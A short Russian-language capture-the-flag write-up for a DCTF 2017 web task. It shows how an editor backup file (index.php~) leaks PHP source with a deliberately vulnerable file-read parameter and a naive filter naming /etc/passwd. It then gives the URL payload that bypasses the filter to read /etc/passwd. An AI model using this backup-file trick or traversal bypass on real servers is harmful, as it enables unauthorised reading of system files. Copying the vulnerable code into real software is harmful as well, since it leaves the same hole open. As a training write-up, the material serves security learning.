This is our new admin platform interface. Can you test it? Visit website
Переходим по ссылке из задания, видим форму для ввода логина/пароля. При вводе рандомных данных открывается пустая страница.
Обращаем внимание, что в тексте задания фигурирует утилита nano, пробуем добавить тильду (~) к index.php: https://junior2.dctf-quals-17.def.camp/index.php~. В результате получаем исходный код страницы:
<?php
$page = $_GET["page"];
$type = $_GET["type"];
if (strpos($page, './../') !== false){
header("Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ");
die();
}
if (strpos($page, '..././') !== false){
header("Location: http://leekspin.com/");
die();
}
if (strpos($page, '%') !== false){
header("Location: http://www.nyan.cat/");
die();
}
if (strpos($page, 'fille') !== false){
header("Location: https://www.youtube.com/watch?v=o1eHKf-dMwo");
die();
}
if (strpos($page, '/etc/passwd') === 0) {
header("Location: https://www.youtube.com/watch?v=djV11Xbc914");
die();
}
# I wonder if I can bypass path traversal restriction by going back and forward within the directorys....
if ($type == ""){
echo file_get_contents($page.".php");
} else {
#maybe we need something from the website
echo file_get_contents($page);
}
?>
Из исходного кода становится понятно, что задание решается с помощью LFI, вся проблема лишь в фильтрации параметров. Т. о. при правильном запросе (https://junior2.dctf-quals-17.def.camp/?type=a&page=//etc//passwd) получаем флаг: